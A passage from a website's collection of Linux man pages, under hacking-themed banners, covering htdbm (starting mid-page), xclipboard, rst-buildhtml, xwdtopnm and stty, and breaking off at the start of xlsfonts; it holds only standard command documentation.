Interpret the final parameter as a comment. When this option is specified, an additional string can be appended to the command line; this string will be stored in the “Comment” field of the database, associated with the specified username.

filename
The filename of the DBM format file. Usually without the extension .db, .pag, or .dir. If -c is given, the DBM file is created if it does not already exist, or updated if it does exist.

username
The username to create or update in passwdfile. If username does not exist in this file, an entry is added. If it does exist, the password is changed.

password
The plaintext password to be hashed and stored in the DBM file. Used only with the -b flag.

-TDBTYPE
Type of DBM file (SDBM, GDBM, DB, or “default”).

BUGS

One should be aware that there are a number of different DBM file formats in existence, and with all likelihood, libraries for more than one format may exist on your system. The three primary examples are SDBM, NDBM, GNU GDBM, and Berkeley/Sleepycat DB 2/3/4. Unfortunately, all these libraries use different file formats, and you must make sure that the file format used by filename is the same format that htdbm expects to see. htdbm currently has no way of determining what type of DBM file it is looking at. If used against the wrong format, will simply return nothing, or may create a different DBM file with a different name, or at worst, it may corrupt the DBM file if you were attempting to write to it.

One can usually use the file program supplied with most Unix systems to see what format a DBM file is in.

EXIT STATUS

htdbm returns a zero status (“true”) if the username and password have been successfully added or updated in the DBM File. htdbm returns 1 if it encounters some problem accessing files, 2 if there was a syntax problem with the command line, 3 if the password was entered interactively and the verification entry didn’t match, 4 if its operation was interrupted, 5 if a value is too long (username, filename, password, or final computed record), 6 if the username contains illegal characters (see the Restrictions section), and 7 if the file is not a valid DBM password file.

EXAMPLES

      htdbm /usr/local/etc/apache/.htdbm-users jsmith

Adds or modifies the password for user jsmith. The user is prompted for the password. If executed on a Windows system, the password will be hashed using the modified Apache MD5 algorithm; otherwise, the system’s crypt() routine will be used. If the file does not exist, htdbm will do nothing except return an error.

      htdbm -c /home/doe/public_html/.htdbm jane

Creates a new file and stores a record in it for user jane. The user is prompted for the password. If the file exists and cannot be read, or cannot be written, it is not altered and htdbm will display a message and return an error status.

      htdbm -mb /usr/web/.htdbm-all jones Pwd4Steve

Encrypts the password from the command line (Pwd4Steve) using the MD5 algorithm, and stores it in the specified file.

SECURITY CONSIDERATIONS

Web password files such as those managed by htdbm should not be within the Web server’s URI space – that is, they should not be fetchable with a browser.

The use of the -b option is discouraged, since when it is used the plaintext password appears on the command line.

When using the crypt() algorithm, note that only the first 8 characters of the password are used to form the password. If the supplied password is longer, the extra characters will be silently discarded.

The SHA hashing option does not use salting: for a given password, there is only one hashed representation. The crypt() and MD5 formats permute the representation by prepending a random salt string, to make dictionary attacks against the passwords more difficult.

The SHA and crypt() formats are insecure by today’s standards.

RESTRICTIONS

On the Windows platform, passwords hashed with htdbm are limited to no more than 255 characters in length. Longer passwords will be truncated to 255 characters.

The MD5 algorithm used by htdbm is specific to the Apache software; passwords hashed using it will not be usable with other Web servers.

Usernames are limited to 255 bytes and may not include the character :.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

601 - Linux cli command xclipboard

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command xclipboard and provides detailed information about the command xclipboard, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the xclipboard.

NAME 🖥️ xclipboard 🖥️

X clipboard client

SYNOPSIS

xclipboard [ -toolkitoption … ] [ -w ] [ -nw ]

DESCRIPTION

The xclipboard program is used to collect and display text selections that are sent to the CLIPBOARD by other clients. It is typically used to save CLIPBOARD selections for later use. It stores each CLIPBOARD selection as a separate string, each of which can be selected. Each time CLIPBOARD is asserted by another application, xclipboard transfers the contents of that selection to a new buffer and displays it in the text window. Buffers are never automatically deleted, so you’ll want to use the delete button to get rid of useless items.

Since xclipboard uses a Text Widget to display the contents of the clipboard, text sent to the CLIPBOARD may be re-selected for use in other applications. xclipboard also responds to requests for the CLIPBOARD selection from other clients by sending the entire contents of the currently displayed buffer.

An xclipboard window has the following buttons across the top:

quit
When this button is pressed, xclipboard exits.

delete
When this button is pressed, the current buffer is deleted and the next one displayed.

new
Creates a new buffer with no contents. Useful in constructing a new CLIPBOARD selection by hand.

save
Displays a File Save dialog box. Pressing the Accept button saves the currently displayed buffer to the file specified in the text field.

next
Displays the next buffer in the list.

previous
Displays the previous buffer.

OPTIONS

The xclipboard program accepts all of the standard X Toolkit command line options as well as the following:

-w
This option indicates that lines of text that are too long to be displayed on one line in the clipboard should wrap around to the following lines.

-nw
This option indicates that long lines of text should not wrap around. This is the default behavior.

WIDGETS

In order to specify resources, it is useful to know the hierarchy of the widgets which compose xclipboard. In the notation below, indentation indicates hierarchical structure. The widget class name is given first, followed by the widget instance name.

XClipboard  xclipboard
        Form  form
                Command  Quit
                Command  delete
                Command  new
                Command  Save
                Command  next
                Command  prev
                Label  index
                Text  text
        TransientShell  fileDialogShell
                Dialog  fileDialog
                        Label  label
                        Command  accept
                        Command  cancel
                        Text value
        TransientShell  failDialogShell
                Dialog  failDialog
                        Label  label
                        Command  continue

SENDING/RETRIEVING CLIPBOARD CONTENTS

Text is copied to the clipboard whenever a client asserts ownership of the CLIPBOARD selection. Text is copied from the clipboard whenever a client requests the contents of the CLIPBOARD selection. Examples of event bindings that a user may wish to include in a resource configuration file to use the clipboard are:

*VT100.Translations: #override \
        <Btn3Up>:       select-end(CLIPBOARD) 


: insert-selection(PRIMARY,CLIPBOARD)
: ignore ()

SEE ALSO

X(7), xcutsel(1), xterm(1), individual client documentation for how to make a selection and send it to the CLIPBOARD.

ENVIRONMENT

DISPLAY
to get the default host and display number.

XENVIRONMENT
to get the name of a resource file that overrides the global resources stored in the RESOURCE_MANAGER property.

FILES

/etc/X11/app-defaults/XClipboard
specifies required resources

AUTHOR

Ralph R. Swick, DEC/MIT Project Athena
Chris D. Peterson, MIT X Consortium
Keith Packard, MIT X Consortium

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

602 - Linux cli command rst-buildhtml

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command rst-buildhtml and provides detailed information about the command rst-buildhtml, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the rst-buildhtml.

NAME 🖥️ rst-buildhtml 🖥️

buildhtml - convert many reST documents to HTML

SYNOPSIS

rst-buildhtml [options] [<directory> …]

DESCRIPTION

Generate .html from all reStructuredText files in each <directory> (default is the current directory).

OPTIONS

General Docutils Options

–output=*****<destination>*
Output destination name. Obsoletes the <destination> positional argument. Default: None (stdout).

–title=*****<title>*
Specify the document title as metadata.

–generator,** -g**
Include a “Generated by Docutils” credit and link.

–no-generator
Do not include a generator credit.

–date,** -d**
Include the date at the end of the document (UTC).

–time,** -t**
Include the time & date (UTC).

–no-datestamp
Do not include a datestamp of any kind.

–root-prefix=*****<path>*
Base directory for absolute paths when reading from the local filesystem. Default “/”.

–source-link,** -s**
Include a “View document source” link.

–source-url=*****<URL>*
Use <URL> for a source link; implies –source-link.

–no-source-link
Do not include a “View document source” link.

–toc-entry-backlinks
Link from section headers to TOC entries. (default)

–toc-top-backlinks
Link from section headers to the top of the TOC.

–no-toc-backlinks
Disable backlinks to the table of contents.

–footnote-backlinks
Link from footnotes/citations to references. (default)

–no-footnote-backlinks
Disable backlinks from footnotes and citations.

–section-numbering
Enable section numbering by Docutils. (default)

–no-section-numbering
Disable section numbering by Docutils.

–strip-comments
Remove comment elements from the document tree.

–leave-comments
Leave comment elements in the document tree. (default)

–strip-elements-with-class=*****<class>*
Remove all elements with classes="<class>" from the document tree. Warning: potentially dangerous; use with caution. (Multiple-use option.)

–strip-class=*****<class>*
Remove all classes="<class>" attributes from elements in the document tree. Warning: potentially dangerous; use with caution. (Multiple-use option.)

–report=<level>, -r* <level>*
Report system messages at or higher than <level>: “info” or “1”, “warning”/“2” (default), “error”/“3”, “severe”/“4”, “none”/“5”

–verbose, -v
Report all system messages. (Same as “–report=1”.)

–quiet, -q
Report no system messages. (Same as “–report=5”.)

–halt=*****<level>*
Halt execution at system messages at or above <level>. Levels as in –report. Default: 4 (severe).

–strict
Halt at the slightest problem. Same as “–halt=info”.

–exit-status=*****<level>*
Enable a non-zero exit status for non-halting system messages at or above <level>. Default: 5 (disabled).

–debug
Enable debug-level system messages and diagnostics.

–no-debug
Disable debug output. (default)

–warnings=*****<file>*
Send the output of system messages to <file>.

–traceback
Enable Python tracebacks when Docutils is halted.

–no-traceback
Disable Python tracebacks. (default)

–input-encoding=<name[:handler]>, -i* <name[:handler]>*
Specify the encoding and optionally the error handler of input text. Default: <auto-detect>:strict.

–input-encoding-error-handler=****INPUT_ENCODING_ERROR_HANDLER
Specify the error handler for undecodable characters. Choices: “strict” (default), “ignore”, and “replace”.

–output-encoding=<name[:handler]>, -o* <name[:handler]>*
Specify the text encoding and optionally the error handler for output. Default: utf-8:strict.

–output-encoding-error-handler=****OUTPUT_ENCODING_ERROR_HANDLER
Specify error handler for unencodable output characters; “strict” (default), “ignore”, “replace”, “xmlcharrefreplace”, “backslashreplace”.

–error-encoding=<name[:handler]>, -e* <name[:handler]>*
Specify text encoding and optionally error handler for error output. Default text encoding: system encoding. Default error handler: backslashreplace.

–error-encoding-error-handler=****ERROR_ENCODING_ERROR_HANDLER
Specify the error handler for unencodable characters in error output. Default: backslashreplace.

–language=<name>, -l* <name>*
Specify the language (as BCP 47 language tag). Default: en.

–record-dependencies=*****<file>*
Write output file dependencies to <file>.

–config=*****<file>*
Read configuration settings from <file>, if it exists.

–version,** -V**
Show this program’s version number and exit.

–help,** -h**
Show this help message and exit.

PEP Reader Option Defaults

The –pep-references and –rfc-references options (for the reStructuredText parser) are on by default.

Generic Parser Options

–no-file-insertion
Disable directives that insert the contents of an external file; replaced with a “warning” system message.

–file-insertion-enabled
Enable directives that insert the contents of an external file. (default)

–no-raw
Disable the “raw” directive; replaced with a “warning” system message.

–raw-enabled
Enable the “raw” directive. (default)

–line-length-limit=*****<length>*
Maximal number of characters in an input line. Default 10 000.

reStructuredText Parser Options

–pep-references
Recognize and link to standalone PEP references (like “PEP 258”).

–pep-base-url=*****<URL>*
Base URL for PEP references (default " <https://peps.python.org/> “).

–pep-file-url-template=*****<URL>*
Template for PEP file part of URL. (default “pep-%04d”)

–rfc-references
Recognize and link to standalone RFC references (like “RFC 822”).

–rfc-base-url=*****<URL>*
Base URL for RFC references (default " <https://tools.ietf.org/html/> “).

–tab-width=*****<width>*
Set number of spaces for tab expansion (default 8).

–trim-footnote-reference-space
Remove spaces before footnote references.

–leave-footnote-reference-space
Leave spaces before footnote references.

–syntax-highlight=*****<format>*
Token name set for parsing code with Pygments: one of “long”, “short”, or “none” (no parsing). Default is “long”.

–smart-quotes=*****<yes/no/alt>*
Change straight quotation marks to typographic form: one of “yes”, “no”, “alt[ernative]” (default “no”).

–smartquotes-locales=*****<language:quotes[,language:quotes,…]>*
Characters to use as “smart quotes” for <language>.

–word-level-inline-markup
Inline markup recognized at word boundaries only (adjacent to punctuation or whitespace). Force character-level inline markup recognition with "” (backslash + space). Default.

–character-level-inline-markup
Inline markup recognized anywhere, regardless of surrounding characters. Backslash-escapes must be used to avoid unwanted markup recognition. Useful for East Asian languages. Experimental.

HTML Writer Options

–template=*****<file>*
Template file. (UTF-8 encoded, default: “/usr/share/docutils/writers/html4css1/template.txt”)

–stylesheet=*****<URL[,URL,…]>*
Comma separated list of stylesheet URLs. Overrides previous –stylesheet and –stylesheet-path settings.

–stylesheet-path=*****<file[,file,…]>*
Comma separated list of stylesheet paths. Relative paths are expanded if a matching file is found in the –stylesheet-dirs. With –link-stylesheet, the path is rewritten relative to the output HTML file. (default: “html4css1.css”)

–stylesheet-dirs=*****<dir[,dir,…]>*
Comma-separated list of directories where stylesheets are found. Used by –stylesheet-path when expanding relative path arguments. (default: “.,/usr/share/docut ils/writers/html4css1,/usr/share/docutils/writers/html 5_polyglot”)

–embed-stylesheet
Embed the stylesheet(s) in the output HTML file. The stylesheet files must be accessible during processing. (default)

–link-stylesheet
Link to the stylesheet(s) in the output HTML file.

–initial-header-level=*****<level>*
Specify the initial header level. Does not affect document title & subtitle (see –no-doc-title). (default: 1 for “<h1>”)

–footnote-references=*****<format>*
Format for footnote references: one of “superscript” or “brackets”. (default: “brackets”)

–attribution=*****<format>*
Format for block quote attributions: one of “dash” (em-dash prefix), “parentheses”/“parens”, or “none”. (default: “dash”)

–compact-lists
Remove extra vertical whitespace between items of “simple” bullet lists and enumerated lists. (default)

–no-compact-lists
Disable compact simple bullet and enumerated lists.

–compact-field-lists
Remove extra vertical whitespace between items of simple field lists. (default)

–no-compact-field-lists
Disable compact simple field lists.

–table-style=****TABLE_STYLE
Added to standard table classes. Defined styles: borderless, booktabs, align-left, align-center, align- right, colwidths-auto, colwidths-grid.

–math-output=****MATH_OUTPUT
Math output format (one of “MathML”, “HTML”, “MathJax”, or “LaTeX”) and option(s). (default: “HTML math.css”)

–xml-declaration
Prepend an XML declaration (default).

–no-xml-declaration
Omit the XML declaration.

–cloak-email-addresses
Obfuscate email addresses to confuse harvesters while still keeping email links usable with standards- compliant browsers.

HTML4 Writer Options

–field-name-limit=*****<level>*
Specify the maximum width (in characters) for one- column field names. Longer field names will span an entire row of the table used to render the field list. Default is 14 characters. Use 0 for “no limit”.

–option-limit=*****<level>*
Specify the maximum width (in characters) for options in option lists. Longer options will span an entire row of the table used to render the option list. Default is 14 characters. Use 0 for “no limit”.

PEP/HTML Writer Options

For the PEP/HTML writer, the default value for the –stylesheet-path option is “/usr/share/docutils/writers/pep_html/pep.css”, and the default value for –template is “/usr/share/docutils/writers/pep_html/template.txt”. See HTML Writer Options above.

–python-home=*****<URL>*
Python’s home URL. Default is " <https://www.python.org> “.

–pep-home=*****<URL>*
Home URL prefix for PEPs. Default is “.” (current directory).

Build-HTML Options

–sources=*<patterns>*
Process all files matching any of the given glob-style patterns (separated by colons). This option overwrites the default or config-file values. Default: “.rst:
.txt”.

–ignore=*****<patterns>*
Recursively ignore files matching any of the given glob-style patterns (separated by colons). This option may be used more than once to add more patterns.

–local
Do not scan subdirectories for files to process.

–recurse
Recursively scan subdirectories for files to process. This is the default.

–prune=<directory>*
Do not process files in <directory> (glob-style patterns, separated by colons). This option may be used more than once to add more patterns. Default: “/ /.hg:/
/.bzr:/
/.git://.svn://.venv:/*/__pycache__” .

–writer=*****<writer>*
Docutils writer, one of “html”, “html4”, “html5”. Default: “html” (use Docutils’ default HTML writer).

–silent
Work silently (no progress messages). Independent of “–quiet”.

–dry-run
Do not process files, show files that would be processed.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

603 - Linux cli command xwdtopnm

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command xwdtopnm and provides detailed information about the command xwdtopnm, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the xwdtopnm.

.

NAME 🖥️ xwdtopnm 🖥️

convert an X11 or X10 window dump file to a PNM image

SYNOPSIS

xwdtopnm [-verbose] [-headerdump] [xwdfile]

DESCRIPTION

This program is part of Netpbm(1) .

xwdtopnm reads an X11 or X10 window dump file as input and produces a PNM image as output. The type of the output image depends on the input file - if it’s black and white, the output is PBM. If it’s grayscale, the output is PGM. Otherwise, it’s PPM. The program tells you which type it is writing.

Using this program, you can convert anything you can display on an X workstation’s screen into a PNM image. Just display whatever you’re interested in, run the xwd program to capture the contents of the window, run it through xwdtopnm, and then use pamcut to select the part you want.

Note that a pseudocolor XWD image (typically what you get when you make a dump of a pseudocolor X window) has maxval 65535, which means the PNM file that xwdtopnm generates has maxval 65535. Many older image processing programs (that aren’t part of the Netpbm package and don’t use the Netpbm programming library) don’t know how to handle a PNM image with maxval greater than 255 (because there are two bytes instead of one for each sample in the image). So you may want to run the output of xwdtopnm through pamdepth before feeding it to one of these old programs.

xwdtopnm can’t convert every kind of XWD image (which essentially means it can’t convert an XWD created from every kind of X display configuration). In particular, it cannot convert one with more than 24 bits per pixel.

OPTIONS

In addition to the options common to all programs based on libnetpbm (most notably -quiet, see Common Options ), xwdtopnm recognizes the following command line options:

-verbose
This option causes xwdtopnm to display handy information about the input image and the conversion process

-headerdump
This option causes xwdtopnm to display the contents of the X11 header. It has no effect when the input is X10. This option was new in Netpbm 10.26 (December 2004).

NOTES

Two Byte Samples

xwdtopnm sometimes produces output with a maxval greater than 255, which means the maximum value of a sample (one intensity value, e.g. the red component of a pixel) is greater than 255 and therefore each sample takes 2 bytes to represent. This can be a problem because some programs expect those bytes in a different order from what the Netpbm format specs say, which is what xwdtopnm produces, which means they will see totally different colors than they should. xv is one such program.

If this is a problem (e.g. you want to look at the output of xwdtopnm with xv), there are two ways to fix it:

  • Pass the output through pamendian to produce the format the program expects.

  • Pass the output through pamdepth to reduce the maxval below 256 so there is only one byte per sample.

Often, there is no good reason to have a maxval greater than 255. It happens because in XWD, but not PNM, each color component of a pixel can have different resolution, for example 5 bits for blue (maxval 31), 5 bits for red (maxval 31), and 6 bits for green (maxval 63), for a total of 16 bits per pixel. In order to reproduce the colors as closely as possible, xwdtopnm has to use a large maxval. In this example, it would use 31 * 63 = 1953, and use 48 bits per pixel.

Because this is a common and frustrating problem when using xwdtopnm, the program issues a warning whenever it generates output with two byte samples. You can quiet this warning with the -quiet common option . The warning was new in Netpbm 10.46 (March 2009).

SEE ALSO

pnmtoxwd(1) , pamendian(1) , pamdepth(1) , pnm(1) , xwd man page

AUTHOR

Copyright (C) 1989, 1991 by Jef Poskanzer.

DOCUMENT SOURCE

This manual page was generated by the Netpbm tool ‘makeman’ from HTML source. The master documentation is at

http://netpbm.sourceforge.net/doc/xwdtopnm.html

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

604 - Linux cli command stty

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command stty and provides detailed information about the command stty, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the stty.

NAME 🖥️ stty 🖥️

change and print terminal line settings

SYNOPSIS

stty [-F DEVICE | –file=DEVICE] [SETTING]…
stty [-F DEVICE | –file=DEVICE] [-a|–all]
stty [-F DEVICE | –file=DEVICE] [-g|–save]

DESCRIPTION

Print or change terminal characteristics.

Mandatory arguments to long options are mandatory for short options too.

-a, –all
print all current settings in human-readable form

-g, –save
print all current settings in a stty-readable form

-F, –file=DEVICE
open and use the specified DEVICE instead of stdin

–help
display this help and exit

–version
output version information and exit

Optional - before SETTING indicates negation. An * marks non-POSIX settings. The underlying system defines which settings are available.

Special characters:

* discard CHAR
CHAR will toggle discarding of output

eof CHAR
CHAR will send an end of file (terminate the input)

eol CHAR
CHAR will end the line

* eol2 CHAR
alternate CHAR for ending the line

erase CHAR
CHAR will erase the last character typed

intr CHAR
CHAR will send an interrupt signal

kill CHAR
CHAR will erase the current line

* lnext CHAR
CHAR will enter the next character quoted

quit CHAR
CHAR will send a quit signal

* rprnt CHAR
CHAR will redraw the current line

start CHAR
CHAR will restart the output after stopping it

stop CHAR
CHAR will stop the output

susp CHAR
CHAR will send a terminal stop signal

* swtch CHAR
CHAR will switch to a different shell layer

* werase CHAR
CHAR will erase the last word typed

Special settings:

N
set the input and output speeds to N bauds

* cols N
tell the kernel that the terminal has N columns

* columns N
same as cols N

* [-]drain
wait for transmission before applying settings (on by default)

ispeed N
set the input speed to N

* line N
use line discipline N

min N
with -icanon, set N characters minimum for a completed read

ospeed N
set the output speed to N

* rows N
tell the kernel that the terminal has N rows

* size
print the number of rows and columns according to the kernel

speed
print the terminal speed

time N
with -icanon, set read timeout of N tenths of a second

Control settings:

[-]clocal
disable modem control signals

[-]cread
allow input to be received

* [-]crtscts
enable RTS/CTS handshaking

csN
set character size to N bits, N in [5..8]

[-]cstopb
use two stop bits per character (one with ‘-’)

[-]hup
send a hangup signal when the last process closes the tty

[-]hupcl
same as [-]hup

[-]parenb
generate parity bit in output and expect parity bit in input

[-]parodd
set odd parity (or even parity with ‘-’)

* [-]cmspar
use “stick” (mark/space) parity

Input settings:

[-]brkint
breaks cause an interrupt signal

[-]icrnl
translate carriage return to newline

[-]ignbrk
ignore break characters

[-]igncr
ignore carriage return

[-]ignpar
ignore characters with parity errors

* [-]imaxbel
beep and do not flush a full input buffer on a character

[-]inlcr
translate newline to carriage return

[-]inpck
enable input parity checking

[-]istrip
clear high (8th) bit of input characters

* [-]iutf8
assume input characters are UTF-8 encoded

* [-]iuclc
translate uppercase characters to lowercase

* [-]ixany
let any character restart output, not only start character

[-]ixoff
enable sending of start/stop characters

[-]ixon
enable XON/XOFF flow control

[-]parmrk
mark parity errors (with a 255-0-character sequence)

[-]tandem
same as [-]ixoff

Output settings:

* bsN
backspace delay style, N in [0..1]

* crN
carriage return delay style, N in [0..3]

* ffN
form feed delay style, N in [0..1]

* nlN
newline delay style, N in [0..1]

* [-]ocrnl
translate carriage return to newline

* [-]ofdel
use delete characters for fill instead of NUL characters

* [-]ofill
use fill (padding) characters instead of timing for delays

* [-]olcuc
translate lowercase characters to uppercase

* [-]onlcr
translate newline to carriage return-newline

* [-]onlret
newline performs a carriage return

* [-]onocr
do not print carriage returns in the first column

[-]opost
postprocess output

* tabN
horizontal tab delay style, N in [0..3]

* tabs
same as tab0

* -tabs
same as tab3

* vtN
vertical tab delay style, N in [0..1]

Local settings:

[-]crterase
echo erase characters as backspace-space-backspace

* crtkill
kill all line by obeying the echoprt and echoe settings

* -crtkill
kill all line by obeying the echoctl and echok settings

* [-]ctlecho
echo control characters in hat notation (’^c')

[-]echo
echo input characters

* [-]echoctl
same as [-]ctlecho

[-]echoe
same as [-]crterase

[-]echok
echo a newline after a kill character

* [-]echoke
same as [-]crtkill

[-]echonl
echo newline even if not echoing other characters

* [-]echoprt
echo erased characters backward, between ‘\ and ‘/’

* [-]extproc
enable “LINEMODE”; useful with high latency links

* [-]flusho
discard output

[-]icanon
enable special characters: erase, kill, werase, rprnt

[-]iexten
enable non-POSIX special characters

[-]isig
enable interrupt, quit, and suspend special characters

[-]noflsh
disable flushing after interrupt and quit special characters

* [-]prterase
same as [-]echoprt

* [-]tostop
stop background jobs that try to write to the terminal

* [-]xcase
with icanon, escape with ‘\ for uppercase characters

Combination settings:

* [-]LCASE
same as [-]lcase

cbreak
same as -icanon

-cbreak
same as icanon

cooked
same as brkint ignpar istrip icrnl ixon opost isig icanon, eof and eol characters to their default values

-cooked
same as raw

crt
same as echoe echoctl echoke

dec
same as echoe echoctl echoke -ixany intr ^c erase 0177 kill ^u

* [-]decctlq
same as [-]ixany

ek
erase and kill characters to their default values

evenp
same as parenb -parodd cs7

-evenp
same as -parenb cs8

* [-]lcase
same as xcase iuclc olcuc

litout
same as -parenb -istrip -opost cs8

-litout
same as parenb istrip opost cs7

nl
same as -icrnl -onlcr

-nl
same as icrnl -inlcr -igncr onlcr -ocrnl -onlret

oddp
same as parenb parodd cs7

-oddp
same as -parenb cs8

[-]parity
same as [-]evenp

pass8
same as -parenb -istrip cs8

-pass8
same as parenb istrip cs7

raw
same as -ignbrk -brkint -ignpar -parmrk -inpck -istrip -inlcr -igncr -icrnl -ixon -ixoff -icanon -opost -isig -iuclc -ixany -imaxbel -xcase min 1 time 0

-raw
same as cooked

sane
same as cread -ignbrk brkint -inlcr -igncr icrnl icanon iexten echo echoe echok -echonl -noflsh -ixoff -iutf8 -iuclc -ixany imaxbel -xcase -olcuc -ocrnl opost -ofill onlcr -onocr -onlret nl0 cr0 tab0 bs0 vt0 ff0 isig -tostop -ofdel -echoprt echoctl echoke -extproc -flusho, all special characters to their default values

Handle the tty line connected to standard input. Without arguments, prints baud rate, line discipline, and deviations from stty sane. In settings, CHAR is taken literally, or coded as in ^c, 0x37, 0177 or 127; special values ^- or undef used to disable special characters.

AUTHOR

Written by David MacKenzie.

REPORTING BUGS

GNU coreutils online help: <https://www.gnu.org/software/coreutils/>
Report any translation bugs to <https://translationproject.org/team/>

COPYRIGHT

Copyright © 2023 Free Software Foundation, Inc. License GPLv3+: GNU GPL version 3 or later <https://gnu.org/licenses/gpl.html>.
This is free software: you are free to change and redistribute it. There is NO WARRANTY, to the extent permitted by law.

SEE ALSO

Full documentation <https://www.gnu.org/software/coreutils/stty>
or available locally via: info ‘(coreutils) stty invocation’

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

605 - Linux cli command xlsfonts

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command xlsfonts and provides detailed information about the command xlsfonts, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the xlsfonts.

NAME 🖥️ xlsfonts 🖥️

server font list displayer for X

SYNOPSIS

xlsfonts [-display host:dpy] [-l] [-ll] [-lll] [-m] [-C] [-1] [-w width] [-n columns] [-u] [-o] [-fn pattern] [-v]

DESCRIPTION

